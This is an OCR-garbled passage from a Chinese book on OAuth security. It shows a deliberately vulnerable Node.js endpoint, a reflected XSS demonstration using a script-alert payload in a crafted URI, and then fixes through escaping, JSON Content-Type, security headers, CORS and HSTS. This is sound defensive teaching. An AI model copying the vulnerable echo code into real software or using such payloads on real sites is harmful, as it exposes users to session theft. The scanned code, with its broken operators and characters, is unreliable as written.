们 的 目的 ， 比 如 搜集 数据 ， 让 攻击 者 能 够 冒充 经 过 身份 认证 的 用 户 , 或 者 输入 恶意 代码 并 使 其 
在 浏览 器 中 执行 。 





(D RFC 6750: https://tools.ietf.org/html/rfc6750#section-2.3。 
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Web API 设 计 是 一 项 相当 复杂 的 工作 (任何 API 都 是 这 样 )， 需 要 考虑 的 因素 有 很 多 。 通 过 
本 节 ， 你 将 学 到 如 何 利 用 现代 浏览 器 的 防护 机 制 ， 设 计 安 全 的 Web API。 如 果 你 设计 了 一 个 需要 
用 户 输入 的 RESTAPI， 那 么 它 就 极 有 可 能 存在 XSS 漏洞 。 我 们 应 该 尽 可 能 地 利用 现代 浏览 器 提 
供 的 特性 ， 并 且 结 合 通用 的 最 佳 实践 来 保护 暴露 在 互联 网 上 的 资源 。 

来 看 一 个 具体 的 例子 ,假设 有 一 个 新 的 端点 ( /nelloworld ) 和 一 个 新 的 权限 范围 
(greeting )。 这 个 新 的 API 如 下 所 示 。 






































GET /helloWorld?language={language} 


这 个 端点 非常 简单 : 根据 输入 的 语言 向 用 户 打招呼 。 目 前 支持 的 语言 如 表 8-1 所 示 , 输入 其 
他 语言 时 会 提示 错误 。 





表 8-1 测试 API 支持 的 语言 





键 值 
en English 
de German 
it Italian 
fr French 
es Spanish 


8.2.4 如 何 保护 资源 端点 


这 个 端点 的 实现 在 ch-8-ex-1 目录 中 。 请 打开 该 目录 中 的 protectedResource.js 文件 。 向 下 滚动 
到 这 个 文件 的 底部 ， 你 会 发 现 这 个 功能 的 实现 相当 简单 。 


app.get("/helloWorld", getAccessToken, function(req, res)( 
if (req.access token) ( 
if (req.query.language -- "en") ( 
res.send('Hello World'); 


) else if (req.query.language -- "de") ( 
res.send('Hallo Welt'); 

) else if (req.query.language == "it") ( 
res.send('Ciao Mondo'); 

) else if (req.query.language -- "fr") ( 
res.send('Bonjour monde'); 

) else if (req.query.language -- "es") ( 
res.send('Hola mundo'); 

) else { 


res.send("Error, invalid language: "+ req.query.language); 
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现在 来 试 一 下 上 面 的 例子 ,将 3 个 组 件 全 部 运行 起 来 ， 像 往常 一 样 开 始 “OAuth 舞步 ”( 如 
图 8-1 所 示 )。 


Access token value: ET TT 
Scope value: 


Refresh token value: PET TT Te Te 
Get OAuth Token 


Greetin @English CGerman Italian OFrench OSpanish 





图 8-1 RA greeting 权限 范围 的 访问 令 牌 








点 击 Greet in 按钮 ， 你 就 发 起 了 一 个 用 英语 打招呼 的 请 求 ， 这 会 导致 客户 端 向 受 保护 资源 发 
起 调用 并 显示 结果 ( 如 图 8-2 所 示 )。 


Data from protected resource: 


Hello World 

















图 8-2 ”用 英语 打招呼 





如 果 选 择 其 他 语言 ( 比如 德语 )， 得 到 的 显示 如 图 8-3 所 示 。 





Data from protected resource: 


Hallo Welt 

















图 8-3 ”用 德语 打招呼 








如 果 选 择 了 不 支持 的 语言 ， 则 会 显示 错误 信息 (如 图 8-4 所 示 )。 


Data from protected resource: 


Error, invalid language: fi 





图 8-4 语言 不 可 用 
也 可 以 使 用 命令 行 式 的 HTTP 客户 端 ( 如 curl). 直接 向 资源 端点 发 送 请 求 并 传递 access 


tokeno 
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> curl -v -H "Authorization: Bearer TOKEN" 
http://localhost:9002/helloWorld?language-en 


或 者 使 用 URI 参 数 的 方式 传递 access_token。 
» curl -v "http://localhost:9002/helloWorld?access token-TOKEN&language-en" 
不 管 使 用 哪 种 方式 ， 最 终 得 到 的 结果 都 是 如 下 这 样 用 英语 打招呼 的 响应 。 


HTTP/1.1 200 OK 

X-Powered-By: Express 

Content-Type: text/html; charset-utf-8 
Content-Length: 11 

Date: Mon, 25 Jan 2016 21:23:26 GMT 
Connection: keep-alive 


Hello World 

现在 来 试 一 下 传人 不 可 用 的 语言 向 /helloworla 端点 发 送 请 求 。 

> curl -v "http://localhost:9002/helloWorld?access token-TOKEN&language-fi" 
将 会 返回 一 条 错误 信息 ， 因 为 芬兰 语 不 在 被 支持 的 语言 之 列 ， 响 应 如 下 。 


HTTP/1.1 200 OK 

Content-Type: text/html; charset-utf-8 
Content-Length: 27 

Date: Tue, 26 Jan 2016 16:25:00 GMT 
Connection: keep-alive 





Error, invalid language: fi 


到 目前 为 止 一 切 正常 。 但 是 ， 任 何 漏洞 搜寻 人 员 都 会 注意 到 ，/hellowor1d 端点 在 遇 到 错 
误 的 输入 时 似乎 会 将 它 在 响应 中 回 显 。 让 我 们 再 进一步 ， 传 入 一 点 不 怀 好 意 的 内 容 。 


> curl -v "http://localhost:9002/helloWorld?access token-TOKEN&language-«sc 
ript»alert('XSS')«/script»" 


得 到 的 响应 如 下 。 


HTTP/1.1 200 OK 

Content-Type: text/html; charset-utf-8 
Content-Length: 59 

Date: Tue, 26 Jan 2016 17:02:16 GMT 
Connection: keep-alive 




















Error, invalid language: «script»alert('XSS')«/script» 


如 你 所 见 ， 传 人 的 内 容 被 原样 返回 了 ， 未 做 任何 过 滤 。 现 在 ， 对 这 个 端点 可 能 存在 XSS 漏 
洞 的 怀疑 可 以 得 到 肯定 了 ,下 一 步 要 做 的 就 非常 简单 了 。 为 了 利用 这 个 漏洞 ,攻击 者 会 伪造 一 个 
站 向 该 受 保 护 资源 的 恶意 URI。 
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http://localhost:9002/helloWorld?access token-TOKEN&language-«script»alert('XSS') 










</script> 

只 要 受害 用 户 点 击 这 个 链接 ， 攻 击 就 完成 了 ，JavaScript 代码 会 得 到 执行 (如 图 8-5 所 示 )。 
SO conis. x 
OE localhost:9002 /helloWorld?access_token=2InWCugGzOr9rK6fbPVgK2pV5VImVavd&language=<script>alert(XSS')</script> x | 





图 8-5 受 保 护 资源 端点 上 的 XSS 





当然 , 真正 的 攻击 不 会 只 是 简单 地 弹出 一 个 警告 框 ,而 是 会 执行 一 些 恶 意 的 代码 ， 比 如 搜 
集 数 据 ， 然 后 使 用 这 些 数据 来 冒充 经 过 身份 认证 的 用 户 。 我 们 的 端点 很 明显 是 存在 XSS 漏洞 
的 ， 所 以 需要 进行 修复 。 此 时 ， 推 荐 的 方法 是 合理 地 转 义 所 有 不 可 信 的 数据 。 此 处 使 用 的 是 
URI 编码 。 


app.get("/helloWorld", getAccessToken, function(req, res)( 
if (req.access token) ( 








if (req.query.language -- "en") ( 
res.send('Hello World'); 

) else if (req.query.language -- "de") ( 
res.send('Hallo Welt'); 

) else if (req.query.language -- "it") ( 
res.send('Ciao Mondo'); 

) else if (req.query.language -- "fr") ( 
res.send('Bonjour monde'); 

) else if (req.query.language -- "es") ( 
res.send('Hola mundo'); 

) else ( 
res.send("Error, invalid language: "+ 

querystring.escape(req.query.language)); 
j 


} 
)); 


经 过 修复 之 后 ， 对 伪造 请 求 的 响应 如 下 所 示 。 


HTTP/1.1 200 OK 

X-Powered-By: Express 

Content-Type: text/html; charset-utf-8 
Content-Length: 80 
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Date: Tue, 26 Jan 2016 17:36:29 GMT 
Connection: keep-alive 


Error, invalid language: 
$3Cscript$3Ealert($E22$80$98XSS$E22$80$99) $3C$2Fscript$3E 


最 终 ， 浏 览 器 会 浑 染 响应 ， 但 不 会 执行 其 中 的 脚本 〈 如 图 8-6 所 示 ) 这 样 就 结束 了 吗 ? 不， 
还 没有 。 和 输出 过 滤 确实 是 预防 XSS 漏洞 的 首选 方法 ,但 它 是 唯一 的 方法 吗 ? 输出 过 滤 最 大 的 问 
题 就 是 开发 人 员 经 常 忘记 使 用 它 。 这 样 的 话 ， 即 使 在 校 验 输 入 的 时 候 只 漏 掉 一 个 字段 ， 在 XSS 
防护 上 的 努力 就 都 前 功 尽 奔 了 。 浏 览 器 厂商 也 在 XSS 防护 上 做 出 了 很 大 努力 ， 发 布 了 一 系列 功 
能 来 缓解 这 一 问题 ， 其 中 最 重要 的 就 是 content -Type， 让 受 保 护 资源 返回 正确 的 媒体 类 型 。 
































eoo J| mupi/localo..sXiC/scripsi;E = 了 
— ea: 
(4& ) &b. localhost:2002 /helloWorld?access token-GmCVcck4XuvTFThI773YbMeTVVEzpQis&language- « script» alertXSS') < /script> 


Error, invalid language: &3Cscript&3Ealert"X85')083C2Fscriptst 3E 











图 8-6 受 保护 资源 端点 上 经 过 过 滤 的 响应 


根据 定义 ，"content-Type 这 个 实体 头 部 字段 表示 发 送 给 接受 者 的 实体 正文 的 媒体 类 型 ， 
或 者 在 使 用 HEAD 方法 的 情况 下 ， 表 示 GET 请 求 将 会 得 到 的 响应 的 媒体 类 型 。 

返回 正确 的 Content-Type 能 够 解决 很 多 问题 。 回 到 未 经 过 过 滤 操 作 的 /hellowor1G 端点 
上 来 ， 我 们 来 看 看 可 以 如 何 改进 。 最 初 的 响应 如 下 所 示 。 











HTTP/1.1 200 OK 

X-Powered-By: Express 

Content-Type: text/html; charset-utf-8 
Content-Length: 27 

Date: Tue, 26 Jan 2016 16:25:00 GMT 
Connection: keep-alive 


Error, invalid language: fi 





(D RFC 7231: https://tools.ietf.org/html/rfc723 1#section-3.1.1.5。 
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其 中 的 Content-Type 是 text/html。 这 就 是 XSS 攻击 示范 中 浏览 絮 欣 然 执 行 了 注入 的 
JavaScript 代码 的 原因 。 来 试 一 下 其 他 content-Type， 比 如 application/json。 


app.get("/helloWorld", getAccessToken, function(req, res)( 
if (req.access token) ( 








var resource - ( 
"greeting" : "" 

E 

if (req.query.language -- "en") ( 
resource.greeting - 'Hello World'; 

) else if (req.query.language -- "de") ( 
resource.greeting -'Hallo Welt'; 

) else if (req.query.language -- "it") ( 
resource.greeting - 'Ciao Mondo'; 

) else if (req.query.language -- "fr") ( 
resource.greeting - 'Bonjour monde'; 

) else if (req.query.language == "es") ( 
resource.greeting -'Hola mundo'; 

} else ( 
resource.greeting - "Error, invalid language: "-« 


req.query.language; 


res.json(resource); 
) 
39.7 


这 样 一 来 s 
> curl -v "http://localhost:9002/helloWorld?access token-TOKEN&language-en" 
会 得 到 返回 : 


HTTP/1.1 200 OK 

X-Powered-By: Express 

Content-Type: application/json; charset-utf-8 
Content-Length: 33 

Date: Tue, 26 Jan 2016 20:19:05 GMT 
Connection: keep-alive 


("greeting": "Hello World") 

如 果 这 样 ， 

> eurt =y, "http://localhost:9002/helloWorld?access token-TOKEN&language-«sc 
ript»alert('XSS')«/script»" 

会 得 到 这 样 的 结 


HTTP/1.1 200 OK 

X-Powered-By: Express 

Content-Type: application/json; charset=utf-8 
Content-Length: 76 

Date: Tue, 26 Jan 2016 20:21:15 GMT 
Connection: keep-alive 


{"greeting": "Error, invalid language: «script»alert('XSS')«/script»" } 
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请 注意 , 这 一 次 输出 的 字符 串 没有 经 过 任何 过 滤 或 者 编码 , 但 是 它 作 为 一 个 字符 串 值 被 放 人 和 人 





了 JSON 中 。 如 果 直 接 在 浏览 器 中 试 一 下 ， 我 们 会 欣喜 地 看 到 ， 使 用 正确 的 Content-Type 之 


后 ,攻击 就 目 动 消除 了 ( 如 图 8-7 所 示 )。 





eoo / http://localho...9%3C/script3E 


W 





(€ )] 9 localhost:9002/helloWorld?access token-«6mCVcck4XuvTf1hI773YbMeTVVfzpQis&language- «script» alert(XSS') « /script» 


"greeting": "Error, invalid language: «script»alert('X$S')«/script»" 














图 8-7 Content-Type 为 application/json 的 受 保 护 资源 端点 


之 所 以 会 达到 这 样 的 效果 , 是 因为 浏览 右 会 按 


如 果 content-Ty 


照 一 


AN 











定 的 “约定 ” 来 处 理 不 同 的 Content-Ty 
pe JJ application/json， 则 它 会 拒绝 执行 返回 内 容 中 的 JavaScript 代码 。 


pe, 





但 是 在 代码 拙劣 的 客户 端 中 , 完全 有 可 能 会 将 JSON 内 容 注 人 到 HTML 页 面 中 , 而 不 对 字符 串 进 
行 任何 转 义 。 这 还 是 会 导致 恶意 代码 被 执行 。 我 们 已 经 提 到 ,这 只 是 浏览 器 的 缓解 措施 ， 最 佳 实 




















结合 





践 为 总 是 对 输出 进行 过 滤 。 将 两 个 措施 结合 起 来 ， 代 码 如 下 。 


app.get("/helloWorld", getAccessToken, 
if (req.access token) ( 


function(req, res){ 


var resource { 


"greeting" T 

Js 

if (req.query.language -- "en") ( 
resource.greeting - 'Hello World'; 

) else if (req.query.language -- "de") ( 
resource.greeting -'Hallo Welt'; 

) else if (req.query.language -- "it") ( 
resource.greeting - 'Ciao Mondo'; 

) else if (req.query.language -- "fr") ( 
resource.greeting - 'Bonjour monde'; 

) else if (req.query.language == "es") ( 
resource.greeting -'Hola mundo'; 

) else { 
resource.greeting - "Error, invalid language: 





escape(req. query.language); 
j 
j 


res.json(resource); 
j 
jou 


这 已 经 是 很 大 的 改进 了 , 不 过 要 让 安全 性 达到 极致 ， 还 可 以 做 得 更 多 。 另 外 
头 部 是 X-content-Type-options: nosniff, KT Mozilla Firefox， 所 有 浏 





























个 安全 头 部 字段 是 由 IE 浏览 锅 引 入 的 ， 它 的 作用 是 防止 在 没有 声明 Content- 


"+ querystring. 


一 个 有 用 的 响应 
览 絮 都 支 持 。 这 


A XX 


Type 的 情况 下 
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(以 防 万 一 ) 执行 MIME 嗅 探 。 还 有 一 个 安全 头 部 是 xX-xss- Protection， 它 的 作用 是 自动 启 
用 当前 大 多 数 浏 览 器 内 置 的 XSS 过 滤器 (Mozilla Firefox 同样 不 支持 )。 来 看 看 如 何 为 端点 添加 
这 些 头 部 。 


app.get("/helloWorld", getAccessToken, function(req, res)( 
if (req.access token) ( 


res.setHeader('X-Content-Type-Options', 'nosniff'); 
res.setHeader('X-XSS-Protection', '1; mode-block'); 








var resource = ( 
"greeting" : "" 

un 

if (req.query.language -- "en") ( 
resource.greeting - 'Hello World'; 

) else if (req.query.language -- "de") ( 
resource.greeting -'Hallo Welt'; 

) else if (req.query.language -- "it") ( 
resource.greeting - 'Ciao Mondo'; 

) else if (req.query.language -- "fr") ( 
resource.greeting - 'Bonjour monde'; 

) else if (req.query.language == "es") ( 
resource.greeting -'Hola mundo'; 

} else ( 
resource.greeting = "Error, invalid language: "+ querystring. 





escape(req.query.language); 


res.json(resource); 
} 
ss 


响应 会 变 成 这 样 : 


HTTP/1.1 200 OK 
X-Powered-By: Express 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode-block 
Content-Type: application/json; charset-utf-8 
Content-Length: 102 
Date: Wed, 27 Jan 2016 17:07:50 GMT 
Connection: keep-alive 
{ 
"greeting": "Error, invalid language: 
$3Cscript$3Ealert ($E2$80$98XSS$E22802$99) $3C22Fscript$3E" 
} 


还 有 可 以 改进 的 地 方 ， 即 采用 内 容 安全 策略 〈content security policy，CSP )。 这 涉及 另 一 个 
响应 头 部 (content-Security-Policy ), 文档 是 这 样 说 的 :“ 在 现代 浏览 器 上 ,通过 使 用 一 个 
HTTP 头 部 声明 允许 加 载 什 么 动态 资源 ， 来 帮助 你 降低 XSS 风险 。” 这 个 话题 展开 来 讲 足以 独立 
成 一 章 ， 但 是 它 不 是 本 书 关注 的 重点 ， EUN CSP 头 部 就 作为 练习 留 给 读者 去 完成 。 

要 杜绝 特定 端点 遭受 XSS 攻击 的 可 能 性 ， 资 源 服务 器 还 有 最 后 一 件 事 情 可 做 : 不 允许 通过 















































126 第 8 章 常见 的 受 保 护 资源 漏洞 





查询 参数 传递 access_token。 这 样 做 了 之 后 理论 上 还 是 可 以 对 端点 进行 XSS 攻击 ， 但 实际 上 

已 经 不 存在 可 操作 性 ， 因 为 攻击 者 无 法 伪造 一 个 包含 Me URI (现在 要 求 使 用 
Authorization: Bearer 头 部 来 传递 访问 令 牌 )。 虽 然 这 样 做 太 有 局 限 性 ， 而 且 可 能 在 某 些 特 
定 情况 下 只 能 选择 查询 参数 的 方案 , 但 是 这 种 情况 应 该 作为 例外 并 谨慎 处 理 。 


8.2.2 ”支持 隐 式 许可 


ME, 来 实现 一 个 能 够 为 “ 隐 式 授权 ”客户 端 提供 服务 的 资源 端点 ,第 6 章 已 经 详细 介绍 过 
这 样 的 客户 端 。 上 一 节 讨 论 的 安全 相关 的 注意 事项 依然 有 效 , 而 且 还 有 一 此 新 外 的 因素 需要 考 上 。 
请 打开 ch-8-ex-2 并 将 3 个 Nodejs 代码 文件 都 运行 起 来 。 

现在 请 在 浏览 器 中 打开 http:/127.0.0.1:9000,， 像 往常 一 样 开 始 你 的 “OAuth 有 舞步 ”。 然 而 ， 当 
你 要 去 获取 资源 的 时 候 ， 会 遇 到 一 个 问题 ( 如 图 8-8 所 示 )。 






































$ |È localhost 3000/calibackfarris tokens ZESKBHgSWxuhriXedni YaqekHDelKINbiRtoken types Besrerbrefresh token «Kscppesgreetingiiid t c Search T] 





a value: ET TT 


Get DAuth Token Get Protected Resource 


Data from protected resource: 


Error white fetching the protected resource 


Q) O mpector maram (€) Debugger | 区 Style Editor | @ Performance P Network D- s 
e œ J$ 9 SeCUERY 上 jng 9 Server Clear inar out 
n Cress-ürigin Request Blocked: The Same Origin Policy disallews reading the renate at hiipi//lecalhost; E 2/helleMorld. (Reason: CORS header 'Access-Contral-Allow-Qrigin' missingl. 


图 8-8 ” 同 源 策略 问题 

打开 浏览 器 的 JavaScript 控 制 台 (或 者 其 他 调试 工具 ), 会 看 到 如 下 错误 提示 。 

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote 
resource at http://localhost:9002/helloWorld. (Reason: CORS header ‘Access-Control-Allow- 
Origin’ missing). 

这 是 什么 意思 呢 ? 这 是 浏览 器 想 要 告诉 我 们 ， 操 作 不 合法 : 我 们 尝试 用 JavaScript 去 调用 一 
个 不 同 源 的 URL, 这 违反 了 浏览 器 实施 的 同 源 策略 。 具 体 来 说 ， 就 是 运行 在 http:/127.0.0.1:9000 
上 的 隐 式 客户 端 向 http:/127.0.0.1:9002 发 起 了 一 个 AJAX 请 求 。 实质 上 , 同 源 策略 是 这 样 规定 的 : 
“浏览 絮 的 不 同窗 T 必须 具有 相同 的 基础 URL， 基 础 URL 的 构成 是 
protocol://domain:port.," 我 们 确实 违反 了 这 个 策略 , 因为 端口 不 一 致 : 一 个 是 9000 , 另 一 个 是 9002。 
在 Web 上 ， 客 户 端 应 用 与 有 保护 资源 分 别 由 不 向 的 起 提 全 t 服 务 的 情况 就 更 为 普遍 了 ， 例 如 照片 
打印 的 例子 。 
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IE 浏览 器 中 的 同 源 策略 
本 例 中 的 错误 提示 在 DE 浏览 器 中 不 会 出 现 。 背 后 的 原因 在 此 有 描述 : https://developer. 
mozilla.org/en-US/docs/Web/Security/Same-origin policy#IE _ Exceptions。 简 而 言 之 ， 就 是 IE ïl 
览 器 没有 将 端口 算 入 同 源 组 件 ， 因 此 ，http:Wlocalhost:9000 和 http://localhost:9002 被 视 为 同 源 ， 
因而 不 会 受到 任何 限制 。 这 与 所 有 其 他 主流 浏览 器 都 不 相同 。 在 笔者 看 来 ， 这 相当 愚蠢 。 




















同 源 策略 的 目的 是 防止 一 个 页 面 中 的 JavaScript 代码 从 另外 一 个 域 加 载 恶 意 内 容 。 但 是 在 此 
Ak, YF JavaScript 访问 API 是 没有 问题 的 ， 更 何况 我 们 本 来 就 使 用 OAuth 对 API 进行 了 保护 。 
为 解决 这 个 问题 ， 直 接 采 用 W3C 规范 中 的 方案 : 跨 域 资 源 共享 ( CORS )。 添 加 CORS 支持 对 于 
Nodejs 应 用 来 说 非常 简单 ， 其 他 语言 和 平台 一 般 也 都 支持 。 打 开 ch-8-ex-2 目录 中 的 
protectedResource.js 文件 ， 并 在 其 中 引入 CORS 库 。 














var cors = require('cors'); 


然后 将 该 函数 作为 过 滤器 添加 到 其 他 函数 前 面 。 请 注意 ， 我 们 还 增加 了 对 HTTP OPTIONS 
方法 的 支持 ， 该 方法 能 够 让 JavaScript 客户 端 在 不 执行 完整 请 求 的 前 提 下 获取 包括 CORS 头 部 在 
内 的 重要 HTTP 头 部 。 











app.options('/helloWorld', cors()); 
app.get("/helloWorld", cors(), getAccessToken, function(req, res)( 
if (req.access token) ( 


其 他 代码 无 须 修改 。 现 在 再 来 试验 一 下 整个 流程 ， 会 得 到 我 们 期 望 的 结果 ( 如 图 8-9 所 示 )。 
































[4 ) &&. Iocalhost9000/cailbacksaccess_token=c28BgayOognPSs0jJVHdvj27Os3wZNFEaa&token_type=Bearer&refresh_token=&scope=greeting&id tok 


Scope value: EE 
Access token value: Ez PNE ET PATE Pr ATTI 


Get OAuth Token Get Protected Resource 


Data from protected resource: 


("greeting":"Hello World") 

















图 8-9 启用 CORS 之 后 的 受 保护 资源 


为 了 理解 这 一 次 一 切 都 恢复 正常 的 原因 ， 我 们 要 来 研究 一 下 客户 端 发 送 给 受 保护 资源 的 
HTTP 请 求 。 再 次 使 用 curl， 它 能 让 我 们 看 到 所 有 的 头 部 。 
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> curl -v -H "Authorization: Bearer TOKEN" 
http://localhost:9002/helloWorld?language-en 


得 到 的 结果 为 : 


HTTP/1.1 200 OK 

X-Powered-By: Express 
Access-Control-Allow-Origin: * 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode-block 

Content-Type: application/json; charset-utf-8 
Content-Length: 33 

Date: Fri, 29 Jan 2016 17:42:01 GMT 
Connection: keep-alive 


{ 
"greeting": "Hello World" 
} 


其 中 新 增 的 这 个 头 部 告诉 浏览 器 ( 即 JavaScript 应 用 的 宿主 )， 该 端点 允许 从 任何 源 发 起 调 
Ho 这 为 同 源 策略 开放 了 一 个 可 控 的 缺口 。 将 这 一 特性 应 用 在 像 受 保护 资源 这 样 的 API 上 是 合理 
的 ,但 是 对 于 有 用 户 交 互 的 页 面 和 表单 ， 则 应 该 关闭 该 特性 ( 大 多 数 系统 默认 )。 

CORS 还 是 一 个 相对 较 新 的 方案 ， 它 在 浏览 器 中 并 不 总 是 可 用 。 在 过 去 ， 首 选 方 案 是 带 填充 
的 JSON ( JSON with padding, JSONP )。JSONP 是 开发 人 员 用 来 绕 过 浏览 器 强加 的 跨 域 限制 的 一 
种 技术 , 它 让 浏览 器 可 以 接收 来 自 当 前 页 面 所 在 域 之 外 的 其 他 域 的 数据 ,但 这 只 不 过 是 投机 取 巧 。 
实际 上 ，JSON 数据 是 通过 在 目标 环境 中 加 载 并 运行 JavaScript 脚本 来 传递 的 ， 通 常会 指定 一 个 
回调 函数 。 由 于 数据 的 请 求 表现 为 一 个 script 标签 ,而 不 是 一 个 AJAX 请 求 ， 因 此 能 够 绕 过 浏 
览 器 的 同 源 策略 检查 。 多 年 来 ， 由 于 以 JSONP 为 载体 会 造成 一 些 漏洞 ， 因 此 JSONP ARH, FE 
而 采用 CORS。 因 此 ， 就 不 提供 支持 JSONP 的 受 保 护 资 源 端点 的 示例 了 。 













































































利用 工具 Rosetta Flash 
Rosetta Flash 是 一 种 漏洞 利用 技术 ， 由 Google 的 安全 工程 师 Michele Spagnuolo 于 2014 年 
发 布 。 它 允许 攻击 者 利用 带 有 JSONP 端点 的 有 漏洞 的 服务 器 ， 方 法 是 让 Adobe Flash Player 4& 
放 器 认为 攻击 者 构造 的 Flash 文件 是 来 自 该 服务 器 的 。 要 在 大 多 数 现代 浏览 器 中 阻止 这 一 攻击 
载体 ， 可 以 在 响应 中 加 入 HTTP 头 部 x-Content-Type-Options: nosniff 或 者 在 反射 回 
调 前 面 加 上 /**/。 


83 TCI SEN 
在 上 一 章 ， 我 们 看 到 了 访问 令 牌 是 如 何 被 资 的 。 即 使 受 保 护 资源 运行 在 HTTPS 之 上 上， 一旦 


攻击 者 拿 到 访问 令 牌 , 他 们 就 能 够 访问 受 保护 资源 了 。 因 此 ， 有 必要 为 访问 令 牌 设置 相对 较 短 的 
生命 周期 , 以 降低 令 牌 重 放 的 风险 。 的 确 如 此 , 即使 攻击 者 设法 得 到 了 一 个 受害 用 户 的 访问 令 牌 ， 
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但 是 如 果 这 个 令 牌 已 经 过 期 (或 者 即将 过 期 ), 攻击 的 危害 程度 就 会 降低 。 第 10 章 会 深入 讨论 令 
牌 保 护 。 

OAuth 2.0 与 之 前 版 本 的 主要 区 别 之 一 在 于 其 核心 框架 没有 对 加 密 方法 做 出 要 求 。 它 在 各 种 
连接 中 都 完全 依赖 传输 层 安全 协议 (TLS )。 因 此 ， 在 OAuth 生态 系统 中 尽 可 能 地 强制 使 用 TLS 
被 认为 是 最 佳 实践 。 此 外 ,有 一 个 标准 是 专门 用 于 此 的 :HTTP 严格 传输 安全 ( HTTP strict transport 
security, HSTS )， 由 RFC 6797 定义 。HSTS 让 Web 服务 器 能 够 声明 浏览 器 (或 者 其 他 类 型 的 用 
户 代 理 ) 在 与 它 交 互 时 必须 使 用 安全 的 HTTPS 链接 ， 而 不 允许 使 用 不 安全 的 HTTP 协议 。 往 我 
们 的 端点 上 集成 HSTS 也 很 简单 ， 与 CORS 一 样 ， 只 需要 添加 一 些 头 部 字段 。 请 打开 ch-8-ex-3 
目录 中 的 protectedResource.js 文件 ， 编 辑 该 文件 并 添加 合适 的 头 部 。 





qu 

















app.get("/helloWorld", cors(), getAccessToken, function(req, res)( 
if (req.access token) ( 


res.setHeader('X-Content-Type-Options','nosniff'); 
res.setHeader('X-XSS-Protection', '1; mode-block'); 
res.setHeader('Strict-Transport-Security', 'max-age-31536000'); 











var resource - ( 
"greeting" : "" 

ka 

if (req.query.language == "en") { 
resource.greeting - 'Hello World'; 

) else if (req.query.language -- "de") ( 
resource.greeting -'Hallo Welt'; 

) else if (req.query.language -- "it") ( 
resource.greeting - 'Ciao Mondo'; 

) else if (req.query.language -- "fr") ( 
resource.greeting - 'Bonjour monde'; 

) else if (req.query.language == "es") ( 
resource.greeting -'Hola mundo'; 

} else ( 
resource.greeting = "Error, invalid language: "+ querystring. 


escape(req.query.language); 
res.json(resource); 
) 
)); 


现在 ， 再 用 HTTP Zt Pm /helloworld 端点 发 送 请 求 。 





> curl -v -H "Authorization: Bearer TOKEN" 
http://localhost:9002/helloWorld?language-en 


你 会 注意 到 啊 应 中 的 HSTS 头 部 : 


HTTP/1.1 200 OK 

X-Powered-By: Express 
Access-Control-Allow-Origin: * 
X-Content-Type-Options: nosniff 
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X-XSS-Protection: 1; mode-block 
Strict-Transport-Security: max-age-31536000 
Content-Type: application/json; charset-utf-8 
Content-Length: 33 

Date: Fri, 29 Jan 2016 20:13:06 GMT 
Connection: keep-alive 


{ 
"greeting": "Hello World" 


) 

现在 , EKREN VE ss og: HTTP ( 而 不 是 HTTPS ) 访问 该 端点 ,都 会 注意 到 浏览 器 会 
执行 一 个 内 部 307 重 定 向 。 这 样 能 防止 任何 意外 的 未 加 密 通 信 ( 比如 协议 降级 攻击 )。 我们 的 测 
试 环境 没有 使 用 TLS， 所 以 这 个 头 部 实际 上 让 资源 端点 完全 不 可 访问 了 。 当 然 , 这 非常 安全 , 但 
对 于 受 保护 资源 来 说 不 是 特别 方便 。 对 于 生产 系统 中 的 真实 API 来 说 , 需要 考虑 安全 性 与 可 用 性 
之 间 的 平衡 。 


























8.4 小 结 


来 总 结 一 下 确保 受 保护 资源 安全 的 方法 。 

口 在 受 保护 资源 的 响应 中 过 滤 所 有 不 可 信 的 数据 。 

口 为 每 个 端点 选择 合适 的 Content-Type; 

口 尽 可 能 利用 浏览 器 的 防护 机 制 以 及 安全 头 部 。 

口 如 果 资 源 端点 要 支持 隐 式 许可 类 型 ， 则 要 使 用 CORS。 

口 避免 让 受 保护 资源 支持 JSONP( 如 果 可 以 的 话 )。 

口 总 是 将 HTTPS 与 HSTS 结合 使 用 。 
我 们 已 经 学 习 了 如 何 保证 客户 端 和 受 保护 资源 的 安全 ， 那 么 接 下 来 要 研究 如 何 保护 OAuth 

生态 系统 中 最 复杂 的 部 分 : 授权 服务 器 。 



































弟 见 的 授权 服务 怖 漏 亲 








本 章 内 容 
口 规避 实现 授权 服务 器 时 常见 的 漏洞 
a 防止 已 知 的 针对 授权 服务 需 的 攻击 





前 几 章 研 究 了 OAuth 客户 端 和 受 保 护 资源 为 何 易 受 攻击 。 本 章 将 重点 关注 授权 服务 器 的 安 
全 。 我 们 将 看 到 ， 由 于 授权 服务 噩 的 性 质 ， 要 保障 其 安全 会 更 复杂 。 的 确 ， 授 权 服务 融 可 能 是 
OAuth 生态 系统 中 最 复杂 的 部 分 , 我 们 在 第 5 章 构 建 授权 服务 器 时 已 经 见识 过 了 。 本 章 会 详细 描 
述 在 实现 授权 服务 器 时 可 能 直到 的 诸多 风险 ， 并 且 指 出 该 如 何 避 人 免 安全 隐患 以 及 常见 的 错误 。 


9.1 常规 安全 


由 于 授权 服务 器 由 面向 用 户 的 网 站 (前端 信 道 ) 和 面向 机 器 的 API( 后 端 信道 ) 两 部 分 构成 ， 
用 于 部 署 安 全 Web 服务 器 的 一 般 性 建议 也 适用 于 此 ， 包 括 使 用 服务 器 安全 日 志 、 使 用 具有 有 效 
证 书 的 TLS、 安 全 的 宿主 环境 、 正 确 的 操作 系统 账户 权限 控制 ,等 等 。 这 一 系列 话题 很 宽泛 ,能 
够 以 系列 成 书 了 ， 所 以 建议 你 去 寻找 各 类 已 有 文献 。 请 刘 记 : "Web 是 一 个 充满 危险 的 地 方 ， 谨 
慎 行 事 。” 


9.2 会话 劫持 


我 们 已 经 深入 讨论 过 授权 码 许可 流程 了 。 若 要 通过 这 个 流程 获取 访问 令 牌 , 客户 端 需要 执行 
一 个 中 间 步 又 ， 让 授权 服务 器 生成 授权 码 ， 并 通过 HTTP 302 重 定 向 以 URI 请 求 参数 的 形式 将 其 
发 送 给 客户 端 。 该 重 定向 会 使 浏览 器 向 客户 端 发 送 一 个 请 求 , 包含 授权 码 (代码 中 加 粗 的 部 分 )。 


GET /callback?code-SyWhvRM2&state-Lwt50DDOKUB8U7jtfLOCVGDL9cnmwHH1 HTTP/1.1 

Host: localhost:9000 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml«xml,application/xml;qz0.9,*/*;qz0.8 

Referer: 

